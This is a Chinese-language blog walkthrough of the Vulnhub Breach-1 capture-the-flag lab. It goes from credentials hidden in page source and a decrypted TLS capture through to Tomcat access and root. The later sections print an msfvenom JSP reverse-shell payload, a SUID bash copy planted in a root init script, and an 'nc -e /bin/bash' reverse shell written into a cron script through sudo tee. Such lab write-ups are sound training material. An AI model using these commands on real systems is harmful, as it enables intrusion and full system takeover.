Vulnhub Breach-1 Walkthrough


Vulnhub Breach-1 Walkthrough

前言

最近感觉已经很久没有训练靶场了,也不知道在忙什么,像是一种无效的内卷,正值端午佳节,不来卷一卷吗,各位?岂不妙哉。经过了三十多个 easy 级别的靶场的练习,感觉还是提一下难度吧,虽说学习要循序渐进,但是也绝不能原地踏步啊。加油@!

信息收集

  • 还是熟悉的老样子,首先这个 ip 地址就不必收集了,这个靶场的作者已经声明了这是一个固定地址的靶机,所以在部署之前还费了一番周折,将虚拟机的仅主机模式调到了这个网段 192.168.110.140.
  • 又到了对端口进行扫描的时候了,但是这次的端口扫描多少有一些不一样,感觉像是做了防护一样,每一个端口都开着,所以截图就不放上了,总之端口扫描这条路断了,还是想别的办法了。
  • 还有首页信息,直接在浏览器输入 ip 地址就可以看到下面的界面。

漏洞挖掘

这一章还是叫这个新的名字吧,因为靶机的难度提升了,不能总是依靠扫描得到信息,所有还是要靠人力搜索,加上工具的辅助,所以一改前面叫法。

首页代码找到密码

  1. 如图上所示,这个是在首页点击查看源代码所看到的信息,经过分析这是一串 base64 编码的字符串
  2. 经过两次的解码,发现了作者的提示信息 pgibbons:damnitfeel$goodtobeagang$ta

登陆网站寻找信息

  1. 发现点击首页上的图片可以跳转到 initech.html

  1. 于左侧发现了登陆界面,跳转到 user.php。使用之前解码的密码尝试登陆。

  1. 发现网站的 cmsImpressCMS,尝试在 searchsploit 搜索。然而发现利用点的界面并无权访问。

  1. 打开左侧邮件盒子,发现第三封邮件有提示信息。

FWD: Thank you for your purchase of Super Secret Cert Pro!

Peter, I am not sure what this is. I saved the file here: 192.168.110.140/.keystore Bob —————————————————————————————————————————————————————————————————————- From: registrar@penetrode.com Sent: 02 June 2016 16:16 To: bob@initech.com; admin@breach.local Subject: Thank you for your purchase of Super Secret Cert Pro! Please find attached your new SSL certificate. Do not share this with anyone!

  1. 下载证书。下载包含 SSL 证书的秘钥库 keystore 文件,其实存储公钥私钥的一种文件公式。

导入抓包文件、SSL 证书到 Wireshark

  1. 在左侧的菜单栏中依次点点,点击 View Account 菜单进入界面,再依次点击页面的 Content ,会弹出一行链接 Content SSL implementation test capture ,点击链接,如下图:

  1. 下载上述的流量包文件,同时获得一些提示信息

通过上面的提示信息可以知道,这个流量包没办法读取,而且 alias/storepassword/keypassword 都设置成了 tomcat,这里不妨大胆的猜测这里一直提到 SSL ,不能读取可能是因为有 SSL 加密,在这就是系统存在 tomcat 服务。

  1. 使用 keytool 工具查看 keystore 文件里面的证书。

  1. 导出证书。

  1. 打开 Wireshark 导入相关数据。

从上面的流中可以看一看到一个奇怪的字符串,尝试解码

  1. base64 解码并登陆后台。
┌──(root㉿localhost)-[~]
└─# echo dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC | base64 -d
tomcat:Tt\5D8F(#!*u=G)4m7zB

反弹 shell

登陆 tomcat

https://192.168.110.140:8443/_M@nag3Me/html 就是登陆地址,但是我无法在浏览器中直接进行访问 ,但是经过测试在 BurpSuite 中拦截一下就可以访问了,好有意思的界面。

上传木马

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.128 LPORT=4444 -f war > shell.war	
# 上面的命令生成木马,上传到上面去,在 `msfconsole` 使用 `exploit/mutli/handler`, `payload` 设置为 `java/jsp_shell_reverse_tcp`

提权

  1. 通过脚本扫描发现是可以不需要密码就可以登陆数据库的。

  1. 找到 ssh 登陆密码。

mysql 数据库下的 user 中找到了和 /home 以及 /etc/passwd 中存在的一个用户 milton 的密码。

  1. 0解密密码。

  1. 提权

但是到这个时候虽然登陆上了,但是我并没有什么思路,知道这个时候我想起来了上面使用脚本的扫描的时候出现的一个 /etc/init.d/portly.sh ,我是可以编辑这个文件,而且这个脚本的主人又是 root ,所以是不是可以在这个脚本里面填上一句 cp /bin/bash /tmp/rootbash; chmod 4777 /tmp/rootbash; 从而达到将 /bin/bash 复制出来,达到提权的目的呢?试试吧。

但是这个方法有一个缺点,就是必须要重启一下目标靶机,但是这种方式在实际生活中很明显是不可靠的,因为有的服务器十年都不重启一下。

另一种提权

因为不是还有一个用户 blumbergh 嘛,之前在扫描的时候发现了有一个 /image 的路径,里面有张图片 bill.png ,使用工具查看一下图片的详细信息,看看这个账单有什么东西在里面。哈哈,想不到吧,这个就是密码 coffeestains ,我也想不到,真的是厉害想明白这一点的人,我到上面那一步已经词穷了。

切换用户

发现可以使用命令 tee ,那就好办了,使用 teetidyup.sh 中写入 反弹 shell 的语句,直接将 root 的弹出去。

  1. 直接使用 tee 提权。
echo "nc -e /bin/bash 192.168.110.128 5555" > shell.txt
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

tee 提权

开起来 nc -lvnp 5555 等着吧。等他连上,这种的好处是不需要重启,上一种提权方式实在是太暴力了。


文章作者: Justice
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Justice !
  目录